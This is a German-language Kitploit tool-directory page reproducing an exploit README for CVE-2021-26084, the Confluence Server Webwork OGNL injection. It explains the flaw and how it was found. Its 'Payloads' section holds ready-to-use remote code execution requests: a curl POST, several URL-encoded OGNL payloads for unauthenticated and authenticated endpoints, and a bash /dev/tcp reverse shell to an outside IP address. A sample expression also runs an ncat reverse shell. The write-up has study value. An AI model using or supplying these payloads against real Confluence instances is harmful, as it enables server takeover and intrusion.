Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-26084 — CVE-2021-26084 - Confluence Server Webwork OGNL-Injektion | Kitploit
Tools/GitHubGitHub/orangmuda/cve-2021-26084
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHuborangmuda/cve-2021-26084

CVE-2021-26084

CVE-2021-26084 - Confluence Server Webwork OGNL-Injektion

Repository anzeigen
434vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-26084

Einleitung

Dieser Beitrag gibt einen Überblick über CVE-2021-26084 – Confluence Server Webwork OGNL Injection [1], die es einem authentifizierten Benutzer ermöglicht, beliebigen Code auf einer Confluence Server- oder Data Center-Instanz auszuführen.

TL;DR

Confluence Server / Data Center verwendet das Webwork 2 MVC-Framework zur Verarbeitung von Webanfragen, und die Ansichtsschicht besteht hauptsächlich aus Velocity-Vorlagen. Eine doppelte Auswertung erfolgt, wenn Velocity-Vorlagen Webwork-Tags mit einem Wertattribut verwenden, das $ enthält. Wenn ein Webwork-Tag mit einem Wertattribut, das ein $ enthält, gefunden wird, erfolgt eine erste Auswertung während der Analyse der Velocity-Vorlage; dieser ausgewertete Wert wird dann an das Webwork-Tag übergeben, das den Wert weiter als OGNL-Ausdruck auswertet. Wenn die Aktionsklasse eine Setter-Funktion für den im Wertattribut verwendeten Parameter bereitstellt, kann dieser Parameter über URL-Parameter aus der URL gesetzt werden. Durch das Erstellen einer URL mit einer OGNL-Nutzlast kann ein Angreifer eine Remote-Code-Ausführung auf den betroffenen Versionen des Confluence Server / Data Center durchführen.

Payloads

# UnAuthenticated RCE – basierend auf dem großartigen Write-up bei httpvoid; mit freundlicher Genehmigung von Harsh Jaiswal (rootxharsh), Rahul Maini (iamnoooob) [8]
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'

# UnAuthenticated RCE für Confluence < 7.12.14, nur wenn 'Benutzern erlauben, sich zu registrieren, um ihr Konto zu erstellen' aktiviert ist. COG > Benutzerverwaltung > Benutzerregistrierungsoptionen.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# Authenticated RCE für Confluence < 7.12.14, ein gültiges Benutzerkonto ist auf dem Confluence-Server erforderlich
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# Authenticated RCE für Confluence 7.12.14, der Parameter newSpaceKey muss mit dem Space-Schlüssel eines Bereichs aktualisiert werden, in dem der Benutzer die Berechtigung 'Seiten hinzufügen' hat
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# Die folgende Nutzlast erzeugt eine Reverse-Shell zu einem entfernten Host, der einen Netcat-Listener ausführt. Das BurpSuite-Addon Hackvertor-Tags wurden zur besseren Lesbarkeit verwendet und müssen entsprechend konvertiert werden
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>

Expression Language Injection

Expression Language Injection-Schwachstellen treten auf, wenn eine Anwendung benutzerkontrollierte Daten in eine Zeichenfolge einfügt, die dynamisch von einem Code-Interpreter ausgewertet wird. Wenn die Benutzerdaten nicht streng validiert werden, kann ein Angreifer manipulierte Eingaben verwenden, um den auszuführenden Code zu ändern und beliebigen Code einzuschleusen, der vom Server ausgeführt wird [2]. Object-Graph Navigation Language (OGNL) [3] ist eine Ausdruckssprache zur Handhabung von Java-Objekten. Wenn eine OGNL-Injection-Schwachstelle vorhanden ist, kann der Angreifer OGNL-Ausdrücke einschleusen, die dann zur Ausführung beliebigen Java-Codes verwendet werden können. Neben dem Abrufen/Setzen von Eigenschaften unterstützt OGNL viele weitere Funktionen, von denen die folgenden aus Sicht der Exploit-Entwicklung interessant erscheinen:

  • Statischer Methodenaufruf: @java.lang.Runtime@getRuntime()

  • Konstruktoraufruf: new java.lang.String[]{'/bin/bash','-c', 'xcalc'}

  • Fähigkeit, mit Kontextvariablen zu arbeiten: #attr["webwork.valueStack"]

  • Methodenaufruf: #attr["webwork.valueStack"].findValue()

Durch Kombinieren der obigen Konstrukte kann ein gültiger OGNL-Ausdruck gebildet werden. Ein typischer OGNL-Ausdruck ist unten gezeigt:

@java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash')

Webwork 2

WebWork 2 ist ein Pull-basiertes MVC-Framework, das auf einer Command-Pattern-Framework-API namens XWork aufbaut und der Vorgänger des beliebten Apache Struts2 ist. Confluence verwendet OpenSymphonys WebWork 2, um von Benutzern eingereichte Webanfragen zu verarbeiten. Webwork unterstützt eine leistungsstarke Ausdruckssprache basierend auf OGNL zur Navigation durch seinen Objektstapel (auch als ValueStack bezeichnet). Es unterstützt auch mehrere Ansichtstechnologien, darunter JSP, FreeMarker, Velocity und bietet eine umfangreiche Tag-Bibliothek. „WebWork: Strutting the OpenSymphony way“ von Mike Cannon-Brookes [4] bietet einen hervorragenden Überblick über das Webwork 2-Framework. Von besonderem Interesse für diese Schwachstelle ist die Unterstützung von Webwork für:

  • Automatisches Setzen von Eigenschaften von Aktionen basierend auf Anfrageparametern (URL-Parametern)
  • Ansichtsintegration (Velocity)
  • Benutzeroberflächen-/Formularkomponenten (Webwork-Tags), die einige ihrer Attribute mit OGNL verarbeiten

Entdeckung

Die Erkennung der Schwachstelle erfolgte hauptsächlich mit einem White-Box-Testansatz, bei dem die Quellcodeinstrumentierung verwendet wurde, um die OGNL-Auswertung zu analysieren. Nach der hervorragenden Forschung des GHSL-Forschers Man Yue Mo zu OGNL-Injection in Apache Struts [5] [6] [7] wurde festgestellt, dass die evaluateParams-Methode der UIBean-Klasse ein interessanter Kandidat war. Die Codebasis der Webwork-Bibliothek im Confluence Data Center (atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar) wurde mit JD GUI extrahiert und auf Methoden ähnlich evaluateParams untersucht. Der nächste Treffer war die Methode protected void evaluateParams(OgnlValueStack stack) in com.opensymphony.webwork.views.jsp.ui.AbstractUITag. Die Quellcodeanalyse ergab weiterhin, dass eine Klasse com.opensymphony.webwork.util.SafeExpressionUtil existierte, die den Großteil der OGNL-Payloads blockierte.

Tool herunterladen